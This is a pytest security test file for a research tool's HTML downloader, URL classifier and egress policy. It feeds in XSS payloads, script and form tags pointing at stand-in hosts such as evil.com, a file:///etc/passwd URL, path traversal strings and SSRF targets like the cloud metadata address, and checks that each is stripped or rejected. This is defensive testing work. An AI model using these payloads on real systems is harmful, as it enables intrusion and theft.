Files
wehub-resource-sync 7a0da7932b
OSV-Scanner (Scheduled) / scan-scheduled (push) Failing after 0s
Create Release / test-gate (push) Has been cancelled
Create Release / release-gate (push) Has been cancelled
Create Release / ci-gate (push) Has been cancelled
Create Release / version-check (push) Has been cancelled
Create Release / e2e-test-gate (push) Has been cancelled
Create Release / responsive-test-gate (push) Has been cancelled
Create Release / compat-test-gate (push) Has been cancelled
Create Release / compose-integration-gate (push) Has been cancelled
Create Release / vulture-gate (push) Has been cancelled
Create Release / build (push) Has been cancelled
Create Release / provenance (push) Has been cancelled
Create Release / prerelease-docker (push) Has been cancelled
Create Release / publish-docker (push) Has been cancelled
Create Release / create-release (push) Has been cancelled
Create Release / cleanup-changelog (push) Has been cancelled
Create Release / trigger-pypi (push) Has been cancelled
Create Release / monitor-pypi (push) Has been cancelled
Create Release / Clean up orphan prerelease tags and signatures (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [research-form] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [research-metrics] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [research-workflow] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [settings-core] (push) Has been cancelled
CodeQL Advanced / Analyze (javascript-typescript) (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [history-news] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [library] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [link-analytics] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [chat-core] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [chat-lifecycle] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [error-benchmark] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [settings-pages] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) (push) Has been cancelled
Docker Tests (Consolidated) / Accessibility Tests (push) Has been cancelled
Docker Tests (Consolidated) / LLM Unit Tests (push) Has been cancelled
Docker Tests (Consolidated) / LLM Example Tests (push) Has been cancelled
Docker Tests (Consolidated) / Production Image Smoke Test (push) Has been cancelled
Docker Tests (Consolidated) / Infrastructure Tests (push) Has been cancelled
OSSF Scorecard / OSSF Security Scorecard Analysis (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [mobile] (push) Has been cancelled
Backwards Compatibility / Verify Encryption Constants (push) Has been cancelled
Backwards Compatibility / PyPI Version Compatibility (push) Has been cancelled
Backwards Compatibility / Database Migration Tests (push) Has been cancelled
CodeQL Advanced / Analyze (python) (push) Has been cancelled
Docker Tests (Consolidated) / detect-changes (push) Has been cancelled
Docker Tests (Consolidated) / Build Test Image (push) Has been cancelled
Docker Tests (Consolidated) / All Pytest Tests + Coverage (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [accessibility] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [api-crud] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [auth-login] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [auth-pages] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [auth-register] (push) Has been cancelled
chore: import upstream snapshot with attribution
2026-07-13 13:08:55 +08:00

452 lines
16 KiB
Python

"""
Security tests for content fetcher.
Tests for XSS prevention, malicious content handling, and safe URL processing.
"""
from unittest.mock import MagicMock, patch
from local_deep_research.research_library.downloaders.html import HTMLDownloader
from local_deep_research.content_fetcher import ContentFetcher
from local_deep_research.content_fetcher.url_classifier import (
URLClassifier,
URLType,
)
class TestHTMLDownloaderSecurity:
"""Security tests for HTML downloader."""
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_script_tags_removed(self, mock_fetch):
"""Test that script tags are removed from content."""
malicious_html = """
<html>
<head><title>Test</title></head>
<body>
<article>
<p>Safe content here that should be included in the extracted text output.</p>
<script>alert('XSS')</script>
<script src="https://evil.com/malware.js"></script>
<p>More safe content that should also appear in the final output.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = malicious_html
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
assert result_bytes is not None
result = result_bytes.decode("utf-8")
assert "<script>" not in result
assert "alert(" not in result
assert "evil.com" not in result
assert "Safe content" in result
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_inline_javascript_removed(self, mock_fetch):
"""Test that inline JavaScript event handlers are not in extracted text."""
malicious_html = """
<html>
<body>
<article>
<p onclick="stealCookies()">Click me and see the content here.</p>
<a href="javascript:void(0)" onmouseover="evil()">Link text here</a>
<p>Another paragraph with enough content.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = malicious_html
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
# The text extraction should just get the text, not attributes
assert result_bytes is not None
result = result_bytes.decode("utf-8")
assert "stealCookies" not in result
assert "javascript:" not in result
assert "onmouseover" not in result
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_iframe_removed(self, mock_fetch):
"""Test that iframes are removed."""
html_with_iframe = """
<html>
<body>
<article>
<p>Article content that should be included in the output.</p>
<iframe src="https://malicious.com/phishing"></iframe>
<iframe srcdoc="<script>evil()</script>"></iframe>
<p>More article content for the reader.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = html_with_iframe
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
assert result_bytes is not None
result = result_bytes.decode("utf-8")
assert "iframe" not in result.lower()
assert "malicious.com" not in result
assert "phishing" not in result
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_form_elements_removed(self, mock_fetch):
"""Test that form elements are removed (prevent phishing)."""
html_with_form = """
<html>
<body>
<article>
<p>Please enter your credentials in the form below:</p>
<form action="https://evil.com/steal">
<input type="password" name="password">
<button type="submit">Login</button>
</form>
<p>This is additional content after the form element.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = html_with_form
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
assert result_bytes is not None
result = result_bytes.decode("utf-8")
assert "<form" not in result
assert "<input" not in result
assert "evil.com" not in result
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_svg_with_scripts_removed(self, mock_fetch):
"""Test that SVG elements (which can contain scripts) are removed."""
html_with_svg = """
<html>
<body>
<article>
<p>Content before SVG element with additional text.</p>
<svg onload="evil()">
<script>alert('XSS')</script>
</svg>
<p>Content after SVG element with additional text.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = html_with_svg
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
assert result_bytes is not None
result = result_bytes.decode("utf-8")
assert "<svg" not in result
assert "onload" not in result
assert "Content before SVG" in result or "Content after SVG" in result
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_style_tags_removed(self, mock_fetch):
"""Test that style tags are removed."""
html_with_style = """
<html>
<head>
<style>
body { background: url('javascript:evil()'); }
</style>
</head>
<body>
<article>
<p>Article content that should be extracted properly.</p>
<style>@import url('https://evil.com/tracker.css');</style>
<p>More article content for testing the output.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = html_with_style
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
assert result_bytes is not None
result = result_bytes.decode("utf-8")
assert "<style" not in result
assert "javascript:" not in result
assert "evil.com" not in result
class TestURLClassifierSecurity:
"""Security tests for URL classifier."""
def test_javascript_url_rejected(self):
"""Test that javascript: URLs are classified as INVALID (security)."""
url = "javascript:alert('XSS')"
url_type = URLClassifier.classify(url)
# Should be rejected as invalid for security
assert url_type == URLType.INVALID
def test_data_url_rejected(self):
"""Test that data: URLs are classified as INVALID (security)."""
url = "data:text/html,<script>alert('XSS')</script>"
url_type = URLClassifier.classify(url)
# Should be rejected as invalid for security
assert url_type == URLType.INVALID
def test_file_url_classified(self):
"""Test that file: URLs are classified as INVALID (security)."""
url = "file:///etc/passwd"
url_type = URLClassifier.classify(url)
# Should be rejected as invalid for security
assert url_type == URLType.INVALID
def test_url_with_credentials(self):
"""Test URL with embedded credentials."""
url = "https://user:password@example.com/article"
url_type = URLClassifier.classify(url)
# Should still classify normally
assert url_type == URLType.HTML
def test_url_with_special_characters(self):
"""Test URL with special characters that could cause issues."""
urls = [
"https://example.com/<script>alert(1)</script>",
"https://example.com/page?q=<img src=x onerror=alert(1)>",
"https://example.com/path/../../../etc/passwd",
"https://example.com/page\x00nullbyte",
]
for url in urls:
# Should not crash
url_type = URLClassifier.classify(url)
assert url_type is not None
def test_very_long_url(self):
"""Test handling of very long URLs."""
long_url = "https://example.com/" + "a" * 10000
# Should not crash or hang
url_type = URLClassifier.classify(long_url)
assert url_type == URLType.HTML
class TestContentFetcherSecurity:
"""Security tests for content fetcher."""
@patch(
"local_deep_research.content_fetcher.fetcher.ContentFetcher._get_downloader"
)
def test_content_size_limit(self, mock_get_downloader):
"""Test that very large content is truncated."""
# 100MB of content
huge_content = "A" * (100 * 1024 * 1024)
mock_downloader = MagicMock()
mock_downloader.download_with_result.return_value = MagicMock(
content=huge_content.encode("utf-8"),
is_success=True,
)
mock_downloader.get_metadata.return_value = {}
mock_get_downloader.return_value = mock_downloader
fetcher = ContentFetcher()
result = fetcher.fetch("https://example.com/huge", max_length=10000)
assert result["status"] == "success"
assert (
len(result["content"]) <= 11000
) # max_length + truncation message
def test_no_ssrf_via_url_classification(self):
"""Test that URL classification doesn't make network requests."""
# These URLs should be classified without making any network requests
dangerous_urls = [
"http://169.254.169.254/latest/meta-data/", # AWS metadata
"http://localhost:6379/", # Redis
"http://127.0.0.1:22/", # SSH
"http://[::1]/admin", # IPv6 localhost
"http://0.0.0.0/", # All interfaces
]
for url in dangerous_urls:
# Classification should work without network access
url_type = URLClassifier.classify(url)
assert url_type is not None
class TestHTMLExtractionSafety:
"""Test safe text extraction from HTML."""
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_null_bytes_handled(self, mock_fetch):
"""Test handling of null bytes in content."""
html_with_nulls = """
<html>
<body>
<article>
<p>Content with\x00null\x00bytes and more text here.</p>
<p>Additional paragraph with enough content to pass.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = html_with_nulls
downloader = HTMLDownloader()
# Should not crash
result_bytes = downloader.download("https://example.com/page")
# Result should be clean
assert result_bytes is None or isinstance(result_bytes, bytes)
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_deeply_nested_html(self, mock_fetch):
"""Test handling of deeply nested HTML (potential DoS)."""
# Create deeply nested HTML with content
depth = 100 # Reduced from 1000 for reasonable test time
nested = (
"<div>" * depth
+ "<p>Deeply nested content that should still be extracted properly.</p>"
+ "</div>" * depth
)
html = f"<html><body><article>{nested}</article></body></html>"
mock_fetch.return_value = html
downloader = HTMLDownloader()
# Should not crash or hang
result_bytes = downloader.download("https://example.com/page")
# BeautifulSoup should handle this gracefully
assert result_bytes is None or isinstance(result_bytes, bytes)
@patch(
"local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
)
def test_html_entity_decoding(self, mock_fetch):
"""Test that HTML entities are properly decoded."""
html = """
<html>
<body>
<article>
<p>This is an article about HTML entities: &lt;script&gt;alert('XSS')&lt;/script&gt;</p>
<p>Special characters: &amp;amp; &quot;quotes&quot; &apos;apostrophes&apos; are handled.</p>
</article>
</body>
</html>
"""
mock_fetch.return_value = html
downloader = HTMLDownloader()
result_bytes = downloader.download("https://example.com/page")
assert result_bytes is not None
result = result_bytes.decode("utf-8")
# Entities should be decoded to text, not executed
assert "<script>" in result or "&lt;script&gt;" in result
assert "alert" in result # The text content, not executed
class TestInputValidation:
"""Test input validation."""
def test_url_classifier_handles_none(self):
"""Test URL classifier handles None gracefully."""
# This might raise an exception, which is acceptable
try:
result = URLClassifier.classify(None)
# If it doesn't raise, it should return a valid type
assert result in URLType
except (TypeError, AttributeError):
# Expected behavior
pass
def test_content_fetcher_validates_timeout(self):
"""Test that content fetcher accepts valid timeout values."""
# Valid timeouts
fetcher1 = ContentFetcher(timeout=30)
assert fetcher1.timeout == 30
fetcher2 = ContentFetcher(timeout=1)
assert fetcher2.timeout == 1
fetcher3 = ContentFetcher(timeout=300)
assert fetcher3.timeout == 300
class TestDownloaderEgressPolicy:
"""The ContentFetcher must relax a downloader's SafeSession to allow
private IPs under PRIVATE_ONLY, matching policy_aware_validate_url — else
a private/lab URL the policy already approved is rejected by the
downloader's own strict SSRF re-validation (R3-14)."""
@staticmethod
def _ctx(scope):
from local_deep_research.security.egress.policy import (
EgressContext,
EgressScope,
)
return EgressContext(
scope=getattr(EgressScope, scope),
primary_engine="x",
require_local_llm=False,
require_local_embeddings=False,
)
@staticmethod
def _fake_downloader():
from local_deep_research.security.safe_requests import SafeSession
class _DL:
def __init__(self):
self.session = SafeSession()
return _DL()
def test_private_only_relaxes_downloader_session(self):
cf = ContentFetcher(egress_context=self._ctx("PRIVATE_ONLY"))
dl = self._fake_downloader()
cf._apply_egress_policy_to_downloader(dl)
assert dl.session.allow_private_ips is True
def test_public_only_keeps_downloader_strict(self):
cf = ContentFetcher(egress_context=self._ctx("PUBLIC_ONLY"))
dl = self._fake_downloader()
cf._apply_egress_policy_to_downloader(dl)
assert dl.session.allow_private_ips is False
def test_no_context_keeps_downloader_strict(self):
cf = ContentFetcher(egress_context=None)
dl = self._fake_downloader()
cf._apply_egress_policy_to_downloader(dl)
assert dl.session.allow_private_ips is False
def test_downloader_without_session_is_safe(self):
"""A downloader lacking a .session attribute must not raise."""
cf = ContentFetcher(egress_context=self._ctx("PRIVATE_ONLY"))
class _NoSession:
pass
cf._apply_egress_policy_to_downloader(_NoSession()) # must not raise